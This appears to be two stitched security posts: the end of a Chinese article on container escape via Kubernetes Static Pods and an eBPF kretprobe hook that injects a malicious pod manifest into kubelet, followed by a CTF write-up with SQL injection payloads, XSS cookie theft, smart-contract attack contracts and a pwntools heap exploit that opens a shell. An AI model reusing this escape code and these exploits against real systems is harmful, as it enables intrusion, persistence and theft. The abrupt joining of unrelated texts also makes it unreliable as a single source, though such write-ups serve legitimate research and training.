那有没有云原生时代下更为通用且更加兼容的利用方法使我们的EXP更加“云原生”呢？
### 利用 Static Pod
利用 Static Pod 是我们在容器逃逸和远程代码执行场景找到的解决方案，他是 Kubernetes 里的一种特殊的 Pod，由节点上 kubelet
进行管理。在漏洞利用上有以下几点明显的优势：
1、 仅依赖于 kubelet
Static Pod 仅依赖 kubelet，即使 K8s 的其他组件都奔溃掉线，删除 apiserver，也不影响 Static Pod 的使用。在
Kubernetes 已经是云原生技术事实标准的现在，kubelet 几乎运行与每个容器母机节点之上。
2、 配置目录固定
Static Pod 配置文件写入路径由 kubelet config 的 staticPodPath 配置项管理，默认为
/etc/kubernetes/manifests 或 /etc/kubelet.d/，一般情况不做更改。
3、 执行间隔比 Cron 更短
通过查看 Kubernetes 的源码，我们可以发现 kubelet 会每 20 秒监控新的 POD 配置文件并运行或更新对应的 POD；由
`c.FileCheckFrequency.Duration = 20 * time.Second` 控制，虽然 Cron 的每分钟执行已经算是非常及时，但
Static Pod 显然可以让等待 shell 的时间更短暂，对比 /etc/cron.daily/ _， /etc/cron.hourly/_ ，
/etc/cron.monthly/ _， /etc/cron.weekly/_ 等目录就更不用说了。
另外，Cron 的分钟级任务也会遇到重复多次执行的问题，增加多余的动作更容易触发 IDS 和 IPS，而 Static Pod
若执行成功就不再调用，保持执行状态，仅在程序奔溃或关闭时可自动重启
4、 进程配置更灵活
Static Pod 支持 Kubernetes POD 的所有配置，等于可以运行任意配置的容器。不仅可以配置特权容器和 HostPID 使用
nscenter 直接获取容器母机权限；更可以配置不同 namespace、capabilities、cgroup、apparmor、seccomp
用于特殊的需求。
灵活的进程参数和POD配置使得 Static Pod 有更多方法对抗 IDS 和 IPS，因此也延生了很多新的对抗手法，这里就不再做过多介绍。
5、 检测新文件或文件变化的逻辑更通用
最重要的是，Static Pod 不依赖于 st_mtime 逻辑，也无需设置可执行权限，新文件检测逻辑更加通用。
func (s *sourceFile) extractFromDir(name string) ([]*v1.Pod, error) {
dirents, err := filepath.Glob(filepath.Join(name, "[^.]*"))
if err != nil {
return nil, fmt.Errorf("glob failed: %v", err)
}
pods := make([]*v1.Pod, 0, len(dirents))
而文件更新检测是基于 kubelet 维护的 POD Hash 表进行的，配置的更新可以很及时和确切的对 POD 容器进行重建。Static Pod
甚至包含稳定完善的奔溃重启机制，由 kubelet 维护，属于 kubelet 的默认行为无需新加配置。操作系统层的痕迹清理只需删除 Static Pod
YAML 文件即可，kubelet 会自动移除关闭运行的恶意容器。同时，对于不了解 Static Pod 的蓝队选手来说，我们需要注意的是，使用
`kubectl delete` 删除恶意容器或使用 `docker stop` 关闭容器都无法完全清除 Static Pod 的恶意进程，kubelet
会守护并重启该 Pod。
## eBPF 劫持 kubelet 进行逃逸
劫持kubelet仅需要hook `openat` 、 `read` 、 `close` 三个系统调用。hook的eBPF代码和上面hook `cron`
几乎一样，但有以下几点不同。
`bpf_get_current_pid_tgid`
获取的是内核调度线程用的pid，而kubelet是多线程程序，因此需要修改根据pid过滤系统调用为使用tgid来过滤，这里采取简单办法，直接根据程序名过滤：
// ...
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&comm, sizeof(comm));
// executable is not kubelet, return
if (memcmp(comm, TARGET_NAME, sizeof(TARGET_NAME)))
return 0;
// ...
yaml不支持多行注释，导致hook `read` 时，如果原始返回过长，只能将超出我们写的payload长度的部分覆盖掉，不过我们可以使用
`bpf_override_return` 来修改 `read` 的返回值，因为syscall定义都是可以进行error injection的：
#define __SYSCALL_DEFINEx(x, name, ...) \
// ...
asmlinkage long sys##name(__MAP(x,__SC_DECL,__VA_ARGS__)) \
__attribute__((alias(__stringify(__se_sys##name)))); \
ALLOW_ERROR_INJECTION(sys##name, ERRNO); \
// ...
#endif /* __SYSCALL_DEFINEx */
该helper需要内核开启 `CONFIG_BPF_KPROBE_OVERRIDE`
选项，并且使用了该helper会导致被hook函数不会真正执行，我们hook `read` 时需要在第二次 `read`
时返回0保证，不然kubelet第二次调用 `read` 时会读取真正的yaml文件内容。
完整的hook `read` 返回代码如下：
SEC("kretprobe/__x64_sys_read")
int kretprobe_sys_read(struct pt_regs *ctx)
{
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&comm, sizeof(comm));
// executable is not kubelet, return
if (memcmp(comm, TARGET_NAME, sizeof(TARGET_NAME)))
return 0;
if (read_buf == 0)
return 0;
if (written)
{
written = 0;
bpf_override_return(ctx, 0);
read_buf = 0;
return 0;
}
bpf_probe_write_user(read_buf, payload, PAYLOAD_LEN);
bpf_override_return(ctx, PAYLOAD_LEN);
read_buf = 0;
written = 1;
return 0;
}
最终效果：
### 改进
本节展示的示例仅仅是一个PoC，想获取在实战环境下更完善的exploit我们还会需要以下改进：
* 上述示例的前提条件为知道对应yaml路径，因此在实战环境下，想写出更稳定的exploit需要先hook对应系统调用，得到 `kubelet` 相应的Static Pod配置文件路径
* PoC的利用方式是覆盖原有的yaml文件内容，这会导致原来的Pod被删除，更可靠的方式是能实现添加Pod配置的方式，不过由于 `kubelet` 使用的是 `filepath.Glob` ，不符合pattern的文件路径都会被过滤，不能简单hook `getdent64` 系统调用来利用
## 防御措施
从根源上解决，在没有使用 `user namespace` 隔离的情况下，不要赋予容器 `CAP_SYS_ADMIN` 和 `CAP_BPF` 权限，或者
`seccomp` 限制 `bpf` 系统调用。
主动防御可以监控系统 `bpf` 调用和加载eBPF程序、map的情况，在容器内一般不会加载eBPF程序，如果成功加载，则可能存在eBPF被滥用的情况。
## Thanks
感谢腾讯蓝军 lake、小五、振宇等师傅们在成文先后的审核和帮助，是让他们赋予这篇文章更多的光彩。也感谢你读到这里，成文仓促，希望业界大师傅们多指教勘误。
### References
[1] What is eBPF: _<https://ebpf.io/what-is-ebpf>_
[2] BPF and XDP Reference Guide: _<https://docs.cilium.io/en/stable/bpf/>_
[3] The art of writing eBPF programs: a primer.:
_<https://sysdig.com/blog/the-art-of-writing-ebpf-programs-a-primer/>_
[4] rewrite-cgroup-devices: _<https://github.com/cdk-team/CDK/blob/main/pkg/exploit/rewrite_cgroup_devices.go>_
[5] lxcfs-rw: _<https://github.com/cdk-team/CDK/blob/main/pkg/exploit/lxcfs_rw.go>_
[6] CDK: an open-sourced container penetration toolkit:
_<https://github.com/cdk-team/CDK>_
[7] Miscellaneous eBPF Tooling: _<https://github.com/nccgroup/ebpf>_
[8] Kernel Pwning with eBPF: a Love Story:
_<https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story>_
[9] Docker AppArmor default profile:
_<https://github.com/moby/moby/blob/master/profiles/apparmor/template.go>_
[10] The list of program types and supported helper functions:
_<https://github.com/iovisor/bcc/blob/master/docs/kernel-versions.md#program-types>_
[11] bpf: unprivileged: _<https://lwn.net/Articles/660080/>_
* * * | 社区文章 |
感谢blue-lotus的大师傅们带来的精彩的比赛！
[TOC]
## Web
### checkin
注意到是1.7.2的beego框架，版本较低。
有文件上传且知道上传目录
参考<https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html>
伪造session，poc:
package main
import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
"os"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "username": "w1nd"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("test.png", data, 0777)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
但是这里有个问题，username不能乱搞，需要是admin，辣鸡w1nd是拿不到flag的
### babySQLiSPA
访问<http://47.93.100.42:9999/static/js/main.dfa730c5.js.map>
发现里面有两个比较可疑的函数searchHints()和getCaptcha()
发现两个新api: `/api/hints`, `/api/captcha`
访问看看
又要爆破md5，有点麻烦，用@Klaus 师傅的彩虹表写个脚本
#!/usr/bin/python
import sqlite3
import sys
import requests
url='http://47.93.100.42:9999/api/captcha'
cookies={'koa.sid':'3a_l8xubuawJnYDcJ4mLQCpXqf9fQwT9','koa.sid.sig':'BROQFXCmmON-P5h3AcfeZIe4FTk'}
urll='http://47.93.100.42:9999/api/hints'
result=requests.get(url=url,cookies=cookies).text
print(result[-8:-2])
captcha_input=result[-8:-2]
conn = sqlite3.connect('/md5_567.db')
c=conn.cursor()
payload=sys.argv[1]
s=c.execute("select * from t_0_6 where md5='"+captcha_input+"';")
for i in s:
print i[1]
captcha=i[1]
data={'captcha':captcha,'hint':payload}
result=requests.post(url=urll,data=data,cookies=cookies).text
print result
发现开启了报错，但是fuzz了常见的报错注入函数发现都被过滤了
> <https://www.zhihu.com/appview/p/26316761>
直到看到这篇文章
太强了
但是还有一个问题就是 有长度限制是140，直接注出来的表名都很长，加上表名会超长，猜测flag在一个表名较短的表里
a'||GTID_SUBTRACT((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),'a')#
发现是报错函数有长度限制，用reverse()把后面的打印出来
a'||GTID_SUBTRACT((reverse((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))),'a')#
发现果然flag就在一个表名短的表里面
注表名，然后发现payload刚好140个字...
'||GTID_SUBTRACT((select(group_concat(column_name))from(information_schema.columns)where(table_name='vhEFfFlLlLaAAaaggIiIIsSSHeReEE')),'a')#
注出flag
'||GTID_SUBTRACT((select(ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO)from(vhEFfFlLlLaAAaaggIiIIsSSHeReEE)),'a')#
### SEAFARING1
在robots.txt发现/admin/handle_message.php
尝试post csrf token
猜测xss，发现过滤了/
果然有反射型xss
再尝试post正确的csrf token
再看页面上有一个contact.php 发现有bot会访问服务器
想到反射型xss+csrf：在服务器上写一个自动提交的表单让bot访问，触发反射型xss，xss打回管理员cookie:
`//`会被转义成`\/\/`，但是可以利用浏览器畸形解析特性，用`\/tx.w1nd.top`也是可以发出请求的
试试打BOT cookie
登录，并在`admin/index.php`发现有丶东西
经过测试发现单引号被转义了，一番测试，最后找到status参数，数字型注入
常规操作拿到flag
### SEAFARING2
只能说因为某些原因这题没拿到flag吧，可惜了
登录admin之后会在contact看到
在SEAFARING1我们可以控制数据库了，尝试load_file读一下源码
明显ssrf
扫描到内网<http://172.20.0.2:4444>
跑了`java selenium Remote Server`服务
查一下手册
> <https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol>
参考
<http://www.coffeehb.cn/?id=92>
可以通过restful api 控制 浏览器，那思路很明确了，`file://`协议任意文件读取+网页截图应该就能看到flag
但是创建session要POST请求
尝试了用bot自己的session发现不行
选择自己用gopher发送POST生成session，但是
打一条payload等500秒，而且等来的还很可以是个`Runtime Error`...认了，放弃了。
赛后问了一下一血大佬@zzm ，原来是这种操作：
在url最后面打上一串0，就可以从500秒变成2秒……..绝了.jpg
然后就按照一开始的思路走就可获得flag
### babyweb
赛后补题ORZ….题目打开发现功能点很少，鸡肋的登录和一个search功能
那么考点应该在search处，抓包发现会传入一个sort参数，那么很明显是order
by注入，这里第一个坑点是数据库不是mysql，导致我一直用mysql的payload打浪费了很长时间，后来发现了一个差异,这里无论order
by后面是True 或者False都有回显不符合mysql特性，这才反应过来可能是别的数据库
测试了一下current_database()发现有回显，所以应该是postgresql,但是题目是HQL导致你无法union，测试了一下发现if,case
when也用不了,后来发现可以用concat绕过
注入出admin密码15676543456，进了后台并没有看到flag，看了一下网络api，发现有个fastjson
猜测是fastjson那个rce，这里测试了好多exp都不能用，最后找到一个可以用的
把Poc.java编译成.class字节码并base64转储为文件
得到payload
所以最后payload
发包，getshell
## Re
### easypt
IDA打开，发现fork了一个进程，子进程只执行了一个exec的命令，父进程执行了一个perf_event_open，注释如下：
if ( pid )
{
end_tag = 0xBEEFC0DE;
v10 = 0LL;
cpuset.__bits[0] |= 1uLL;
if ( sched_setaffinity(pid, 0x80uLL, &cpuset) == -1 ) //设置进程只在一个CPU上执行
perror("sched_setaffinity");
close(pipedes[0]);
sys_fd = trace_1(pid); //设置perf_event_open 1
mmap_fd(sys_fd, (__int64)output_data); //记录trace文件
v9 = trace_2(); //设置perf_event_open 2
mmap_fd_2(v9, sideband_data); //记录trace文件
write(pipedes[1], &end_tag, 4uLL); //开启子进程
close(pipedes[1]);
waitpid(pid, &stat_loc, 0); //等待进程
check_finish_status(sys_fd);
printf("pid = %d\n", (unsigned int)pid);
write_head(output_data);
write_package((struct perf_event_mmap_page *)output_data);
write_sideband((struct perf_event_mmap_page *)sideband_data);
result = 0LL; //写文件
}
猜测pt是子进程执行的文件，而packet和sideband是perf_event_open写入的记录文件
pt文件很简单，打开一个flag文件进行爆破
根据sub_400B23的字符串 `open("/sys/bus/event_source/devices/intel_pt/type", 0);`
简单搜索下发现了这几个项目
> <https://github.com/01org/processor-> trace/blob/903b1fdec1e6e7b7d52e83c9f26cc48efffda8ee/doc/howto_capture.md>
>
>
> <https://github.com/torvalds/linux/blob/master/tools/perf/Documentation/intel-> pt.txt>
>
> <https://github.com/andikleen/simple-pt>
装了一下processor-trace下的ptdump解码packet
`ptdump --no-pad --no-cyc --no-timing --pt packet`
里面记录看不懂，行⑧，RTFM
> <https://software.intel.com/en-us/download/intel-64-and-ia-32-architectures-> sdm-combined-volumes-1-2a-2b-2c-2d-3a-3b-3c-3d-and-4>
4027页 Chapter 35
大概知道tnt包用于记录条件短跳（jnz
jg之类的），tip用于记录长跳地址，tip.pgd和tip.pge用于关闭和开启跳转记录。其中短跳的记录格式是记录最后几次跳转的，这里的记录都是tnt.8，用于记录8次跳转结果
还有一个示例
可以看到tnt记录了所有的条件跳转，并用1和0标识该跳转是否成功（但没有jmp）
最后的执行结果会把之前的tnt结果合并成一个8位的tnt包
而长跳之类的跳转都用TIP包记录
查看packet包，可以在里面发现400开头的地址，跟踪几个后发现记录了pt程序内的地址
具体的几个函数和在packet包内的地址如下
34bf start
35c7 csu_init
3607 main
36ff 400716 ret from open
37a7 40072d ret from lseek
52e7 4007cc ret from strlen
发现接下来的结果是一堆tnt包大概是这样的：
00000000000052f1 tnt.8 !!.!.!
00000000000052f4 tnt.8 .!.!.!
00000000000052f7 tnt.8 .!.!.!
00000000000052f9 tnt.8 .!.!.!
00000000000052fb tnt.8 .!.!.!
00000000000052fd tnt.8 .!.!.!
00000000000052ff tnt.8 .!.!.!
0000000000005301 tnt.8 .!.!.!
0000000000005303 tnt.8 .!.!.!
0000000000005305 tnt.8 .!.!.!
0000000000005307 tnt.8 .!.!.!
0000000000005309 tnt.8 .!.!.!
000000000000530b tnt.8 .!.!.!
000000000000530d tnt.8 .!.!.!
000000000000530f tnt.8 .!.!.!
0000000000005311 tnt.8 .!.!.!
猜测这就是用于爆破flag的函数执行过程。查看strlen调用后对应的汇编
.text:00000000004007CC mov [rbp+var_14], eax
.text:00000000004007CF mov [rbp+var_1C], 0
.text:00000000004007D6 jmp short loc_400809 ; tnt包不记录
.text:00000000004007D8 ; --------------------------------------------------------------------------- .text:00000000004007D8
.text:00000000004007D8 loc_4007D8: ; CODE XREF: main+72↓j
.text:00000000004007D8 mov [rbp+var_18], 20h
.text:00000000004007DF jmp short loc_4007FC ; tnt包不记录
.text:00000000004007E1 ; --------------------------------------------------------------------------- .text:00000000004007E1
.text:00000000004007E1 loc_4007E1: ; CODE XREF: main+63↓j
.text:00000000004007E1 mov rdx, [rbp+s]
.text:00000000004007E5 mov eax, [rbp+var_1C]
.text:00000000004007E8 cdqe
.text:00000000004007EA add rax, rdx
.text:00000000004007ED movzx eax, byte ptr [rax]
.text:00000000004007F0 movsx eax, al
.text:00000000004007F3 cmp eax, [rbp+var_18]
.text:00000000004007F6 jz short loc_400804 ; tnt包记录 爆破成功判断
.text:00000000004007F8 add [rbp+var_18], 1
.text:00000000004007FC
.text:00000000004007FC loc_4007FC: ; CODE XREF: main+42↑j
.text:00000000004007FC cmp [rbp+var_18], 7Eh
.text:0000000000400800 jle short loc_4007E1 ; tnt包记录 内层for判断
.text:0000000000400802 jmp short loc_400805
.text:0000000000400804 ; --------------------------------------------------------------------------- .text:0000000000400804
.text:0000000000400804 loc_400804: ; CODE XREF: main+59↑j
.text:0000000000400804 nop
.text:0000000000400805
.text:0000000000400805 loc_400805: ; CODE XREF: main+65↑j
.text:0000000000400805 add [rbp+var_1C], 1
.text:0000000000400809
.text:0000000000400809 loc_400809: ; CODE XREF: main+39↑j
.text:0000000000400809 mov eax, [rbp+var_1C]
.text:000000000040080C cmp eax, [rbp+var_14]
.text:000000000040080F jl short loc_4007D8 ; tnt包记录 外层for判断
.text:0000000000400811 mov eax, 0
.text:0000000000400816 mov rcx, [rbp+var_8]
.text:000000000040081A xor rcx, fs:28h
.text:0000000000400823 jz short locret_40082A
.text:0000000000400825 call ___stack_chk_fail
.text:000000000040082A ; --------------------------------------------------------------------------- .text:000000000040082A
.text:000000000040082A locret_40082A: ; CODE XREF: main+86↑j
.text:000000000040082A leave
.text:000000000040082B retn
可以看出如果还爆破过程中，即在进行内层循环时，每次循环tnt包应该记录两个跳转：内层for判断和爆破成功判断。而如果爆破成功，会记录3次跳转后转到下一字节的爆破中（内层for跳转为真，爆破成功跳转为真，外层for跳转为真），因此可以直接提取这块数据写脚本跑
flow = ""
f = open("flow.txt","r")
while True:
tmp = f.readline()
if tmp != "":
flow += tmp.rstrip()
else:
break
flow = flow[1:]
length = len(flow)
i = 0
j = ord(' ')
res = []
while i < length-1:
if flow[i] == '!' and flow[i+1] == '.':
j += 1
i += 2
else:
res.append(chr(j))
j = ord(' ')
i += 3
print "".join(res)
## Blockchain
### EOSGame
拿到源码，查看合约的主体
contract EOSGame{
using SafeMath for uint256;
mapping(address => uint256) public bet_count;
uint256 FUND = 100;
uint256 MOD_NUM = 20;
uint256 POWER = 100;
uint256 SMALL_CHIP = 1;
uint256 BIG_CHIP = 20;
EOSToken eos;
event FLAG(string b64email, string slogan);
constructor() public{
eos=new EOSToken();
}
function initFund() public{
if(bet_count[tx.origin] == 0){
bet_count[tx.origin] = 1;
eos.mint(tx.origin, FUND);
}
}
function bet(uint256 chip) internal {
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}
}
function smallBlind() public {
eos.transfer(tx.origin, address(this), SMALL_CHIP);
bet(SMALL_CHIP);
}
function bigBlind() public {
eos.transfer(tx.origin, address(this), BIG_CHIP);
bet(BIG_CHIP);
}
function eosBlanceOf() public view returns(uint256) {
return eos.eosOf(tx.origin);
}
function CaptureTheFlag(string b64email) public{
require (eos.eosOf(tx.origin) > 18888);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
}
一个简单的赌博游戏，显然这里的随机数是可预测的，因为取的仅仅是区块号与时间戳，而用户方面则是取了bet的次数作为输入，同时注意到里面还有`smallBlind`和`bigBlind`来提供不同的下注额度，small仅需1
token，而big则需要20
token，猜对的奖励则是赌注的100倍，看到这里我的想法就是拿`smallBlind`来更新我们的`bet_count`，当`bet_count`满足需求时再使用`bigBlind`，写一个简单的攻击合约
contract attack {
EOSGame target = EOSGame(0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F);
function pwn() public {
for (uint i=target.bet_count(your account)+1;i<target.bet_count(your account)+21;i++){
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % 20;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(i)));
uint256 lucky = lucky_hash % 20;
if (shark == lucky){
target.bigBlind();
break;
}
else{
target.smallBlind();
}
}
}
}
因为bet中的模数为20，所以这里循环的次数我也就设置为20，满足`bigBlind`的要求后即`break`，这样一次的收益差不多在2000左右，因为getflag所需的`token`为18888，感觉也没必要写脚本跑，手动调用就可以了。
不过拿了一血后看了一下后面的师傅们的做法，发现很多人都选择了直接暴力调用`bigBlind`函数，合约的交易池急剧增长，这也是将题目部署在测试链的弊端，很容易就被别人抄作业了。我又看了一眼合约，确实，赢一次的奖励太丰厚，20直接变2000，够用100次的，而成功一次的尝试次数的期望则为20次，怎么着都是不亏的，所以直接暴力跑交易即可，题目设计上可能还是欠了考虑。而且即使是用这种做法感觉也是写个合约循环跑比较方便，不知为何大家都选择了直接发交易，可能是前几次比赛薅羊毛留下的后遗症吧。
### Fake3D
拿到源码，看看合约的主体部分
contract WinnerList{
address public owner;
struct Richman{
address who;
uint balance;
}
function note(address _addr, uint _value) public{
Richman rm;
rm.who = _addr;
rm.balance = _value;
}
}
contract Fake3D {
using SafeMath for *;
mapping(address => uint256) public balance;
uint public totalSupply = 10**18;
WinnerList wlist;
event FLAG(string b64email, string slogan);
constructor(address _addr) public{
wlist = WinnerList(_addr);
}
modifier turingTest() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
function transfer(address _to, uint256 _amount) public{
require(balance[msg.sender] >= _amount);
balance[msg.sender] = balance[msg.sender].sub(_amount);
balance[_to] = balance[_to].add(_amount);
}
function airDrop() public turingTest returns (bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < 288){
balance[tx.origin] = balance[tx.origin].add(10);
totalSupply = totalSupply.sub(10);
return true;
}
else
return false;
}
function CaptureTheFlag(string b64email) public{
require (balance[msg.sender] > 8888);
wlist.note(msg.sender,balance[msg.sender]);
emit FLAG(b64email, "Congratulations to capture the flag?");
}
}
看样子似乎又是一个随机数预测，其中的`turingTest`可使用合约的构造函数绕过，至于下面的空投函数，我们可以看到只有其中的`msg.sender`是我们可控的，其他的都是区块信息，也就是说每个发送者在每个区块中能否中奖是确定的。
有意思的是seed中使用的是`msg.sender`，到了下面的奖励发放又用的是`tx.origin`，这样的话我们就可以通过合约部署子合约的方式来在一个区块里扩展`msg.sender`，至于`seed`的判断，本来我是想在子合约里判断一下，不过后来发现哪怕没有中奖也没任何损失，那么直接无脑发交易就行了，部署攻击合约
contract pwn {
constructor() {
Fake3D target =Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);
target.airDrop();
}
}
contract attack {
function exp() public {
for (uint i=0;i<100;i++){
new pwn();
}
}
}
这样攻击一次的收益大概是300左右，可以写个脚本批量发包，不然手动操作的话还是有点小多，在这里看到很多师傅依然选择了直接暴力发交易，毕竟对于同一个地址而言每个块才是一次机会，这样效率还是有点低，这也导致了合约的交易数堆到了两万多，简直堪比一场小型ICO，给测试网也造成了不小的压力
不过题目最大的坑点还是后面，当我们满足getflag要求后，依然无法成功调用函数，一开始可能有点懵逼，不知道问题出在哪
再看一眼CaptureTheFlag函数，其中还有这么一行
> wlist.note(msg.sender,balance[msg.sender]);
如果按照源码里显示的来看，此处仅仅是使用一个结构体保存了一下获胜者的地址跟余额信息，虽然初始化结构体的方式有点问题，会造成变量覆盖，但是对后面的执行应该是没有影响的，那么显然源码肯定是有问题的
要注意的是这里的wlist合约跟fake3d合约是没有任何联系的，比如继承之类的，这样在进行发布源码进行字节码检查的时候其实只要合约的abi对的上就行了，也就是说wlist合约里确实有个`note`函数，但内容跟源码中完全不同
从storage中读取到wlist合约的地址
>web3.eth.getStorageAt('0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a', 2, console.log);
"0x000000000000000000000000d229628fd201a391cf0c4ae6169133c1ed93d00a"
拿到该地址合约的字节码，我们不妨自己部署个wlist合约比对一下，发现字节码确实不一样，这里就需要对合约进行逆向了
反编译后的伪代码:
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if(msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if(var0 != 0x03b6eb88) { revert(memory[0x00:0x00]); }
var var1 = msg.value;
if(var1) { revert(memory[0x00:0x00]); }
var1 = 0x0091;
var var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var var3 = msg.data[0x24:0x44];
func_0093(var2, var3);
stop();
}
function func_0093(var arg0, var arg1) {
var var0 = 0x00;
storage[var0] = (arg0 & 0xffffffffffffffffffffffffffffffffffffffff) | (storage[var0] & ~0xffffffffffffffffffffffffffffffffffffffff);
storage[var0 + 0x01] = arg1;
var var1 = ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & 0x0100000000000000000000000000000000000000000000000000000000000000 * 0xb1;
var var2 = tx.origin * 0x01000000000000000000000000;
var var3 = 0x12;
if(var3 >= 0x14) { assert(); }
var temp0 = byte(var2, var3) * 0x0100000000000000000000000000000000000000000000000000000000000000 & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff != var1;
var1 = temp0;
if(!var1) {
label_023F:
if(!var1) { return; }
else { revert(memory[0x00:0x00]); }
} else {
var1 = ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & 0x0100000000000000000000000000000000000000000000000000000000000000 * 0x43;
var2 = tx.origin * 0x01000000000000000000000000;
var3 = 0x13;
if(var3 >= 0x14) { assert(); }
var1 = byte(var2, var3) * 0x0100000000000000000000000000000000000000000000000000000000000000 & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff != var1;
goto label_023F;
}
}
}
刚开始是奔着还原所有逻辑再想办法做题去的，但是为了拿一血还是走了点捷径。题目合约里的`wlist.note(msg.sender,balance[msg.sender]);`这个语句没有一点用，除了让交易revert，提flag不成功。所以逆向的时候只要找准`revert(memory[0x00:0x00]);`然后绕过,或者找准`return`然后进入就修行。
核心点在
var temp0 = byte(var2, var3) * 0x0100000000000000000000000000000000000000000000000000000000000000 & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff != var1;
这里让`temp0`为`0`后面就return了。注意反编译出来的`byte()`的2个参数是反的。
总结一下就是要求`tx.origin`的第0x12个字节(从0开始数)为`b1`
这就意味着`note`函数中还有一个判断，要求`tx.origin`地址的倒数第二个字节为b1，那么赶紧爆一个地址出来，写了个简单的脚本
const generate = require('ethjs-account').generate;
seed='892h@fs8sk^2hSFR*/8s8shfs.jk39hsoi@hohskd51D1Q8E1%^;DZ1-=.@WWRXNI()VF6/*Z%$C51D1QV*<>FE8RG!FI;"./+-*!DQ39hsoi@hoFE1F5^7E%&*QS'//生成地址所用的种子
function fuzz() {
for(var k=0;k<5000;k++){
seed=seed+Math.random().toString(36).substring(12);//更新种子
for (var i=0;i<2000;i++){
res=generate(seed);
if(res.address.slice(38,40)=='b1'){
console.log(res);
return;
}
}
}
}
fuzz();
拿到地址后将前面得到的`transfer`给该地址即可，然后使用这个地址调用`CaptureTheFlag`即可成功getflag
## Misc
### IRC checkin
进入IRC就可获得FLAG
## Crypto
### guess_polynomial
只要给的x够大，就能隔开一个个因子，冲就完事了
from pwn import *
#context.log_level = "debug"
ip = "39.96.8.114"
port = "9999"
r = remote(ip,port)
payload = "1"+"0"*130
for xx in range(10):
print r.recvuntil("coeff:")
r.sendline(payload)
str_tmp = r.recvline()
str_tmp.rstrip()
str_tmp = str_tmp[18:]
r.recvuntil("coeff!")
tmp_len = len(str_tmp)
n = tmp_len/130
i=tmp_len-1
res = []
for x in xrange(n):
tmp = str_tmp[i-130:i]
res.append(tmp)
#print tmp
i -= 130
res.append(str_tmp[:i])
for i in xrange(len(res)-1):
r.send( res[len(res)-i-1] + ' ')
r.sendline(res[0])
r.interactive()
## Pwn
### easiest
程序有system("/bin/sh")的后门
free后没有把指针置0
可以利用0x6020b5处的0x7f和0x602082处的0x40错位构造fastbin,来进行fastbin
attack，覆盖stdout指针指向0x602010，这个地址处的结构满足IO_FILE的检验机制，然后在0x6020b5处的指针可以改写结构体的mode为0xffffffff，vtable的值我们预留的system后门的值-0x38，这样printf调用_IO_xsputn，从vtable虚表中取函数时就会执行我们的system后门
exp:
from pwn import *
f=remote("39.96.9.148",9999)
#f=gdb.debug("./aaa",'b* 0x400ac8')
#f=process("./aaa")
system_addr=0x400946
def addnote(index,size,content="\x00"):
f.sendlineafter("delete \n","1")
f.sendlineafter(":",str(index))
f.sendlineafter("Length:",str(size))
f.sendlineafter("C:",content)
def delete(num):
f.sendlineafter("delete \n","2")
f.sendlineafter(":",str(num))
#0
addnote(0,0x30)
addnote(1,0x30)
delete(0)
delete(1)
delete(0)
addnote(2,0x30,p64(0x602082-8))
addnote(3,0x30)
addnote(4,0x38,"a")
#1
addnote(0,0x60)
addnote(1,0x60)
delete(0)
delete(1)
delete(0)
addnote(2,0x60,p64(0x6020b5-8))
addnote(3,0x60)
addnote(4,0x60,"aaaaa")
addnote(5,0x68,"a"*3+p64(0xffffffff)*3+p64(0x602090-0x38)*4)
addnote(0,0x38,"a"*6+p64(system_addr)*2+p64(0x602010))
print '1'
f.sendline('1\n'*4)
f.interactive()
### hardcore_fmt
刚开始的格式化字符串利用"%a%a%a%a%a"来leak
libc上的地址，gdb调试的时候发现libc中有canary的值，第二次任意地址写的机会就用来leak
